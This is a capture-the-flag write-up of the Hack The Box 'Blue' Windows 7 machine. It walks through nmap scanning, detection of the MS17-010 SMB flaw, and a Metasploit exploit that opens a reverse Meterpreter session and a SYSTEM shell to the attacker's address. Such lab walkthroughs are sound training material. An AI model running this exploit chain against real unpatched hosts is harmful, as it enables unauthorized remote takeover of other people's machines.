Content
Welcome to the Blue writeup from HTB
tags:

Welcome to the Blue writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Blue
tags: HTB
Easy
Windows
OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Windows
Link: Click here

Enumeration
Nmap
To get started, we run a quick open ports scan.
$ nmap -n -sS -T4 -p- 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 20:13 CEST
Nmap scan report for 10.10.10.40
Host is up (0.088s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 126.38 seconds
Now that we know the open ports, let's scan them in depth.
$ nmap -n -A -p 135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-03 20:18 CEST
Nmap scan report for 10.10.10.40
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows Server 2008 SP2 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows 7 Ultimate SP1 or Windows 8.1 Update 1 (96%), Microsoft Windows Vista or Windows 7 SP1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -14m19s, deviation: 34m36s, median: 5m38s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-08-03T19:24:57+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-08-03T18:24:56
|_ start_date: 2021-08-03T18:23:36
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 85.16 ms 10.10.14.1
2 85.45 ms 10.10.10.40
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.83 seconds
Let's see what vulnerabilities Nmap reveals to us.
$ nmap -p 135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 --script vuln
[...]
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
[...]
Nice! The machine is vulnerable to ms17-010
which is used by EternalBlue
, EternalRomance
, EternalSynergy
and EternalChampion
.
Exploitation
Using EternalRomance
from Metasploit we can get shell as system
!
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 10.10.14.29
lhost => 10.10.14.29
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.29:4444
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.29:4444 -> 10.10.10.40:49158) at 2021-08-03 20:12:09 +0200
meterpreter > shell
Process 1644 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Well, we already have a shell as system
so we can read the user and root flag.
C:\Users>type haris\Desktop\user.txt
type haris\Desktop\user.txt
CENSORED_FLAG
C:\Users>type Administrator\Desktop\root.txt
type Administrator\Desktop\root.txt
CENSORED_FLAG
C:\Users>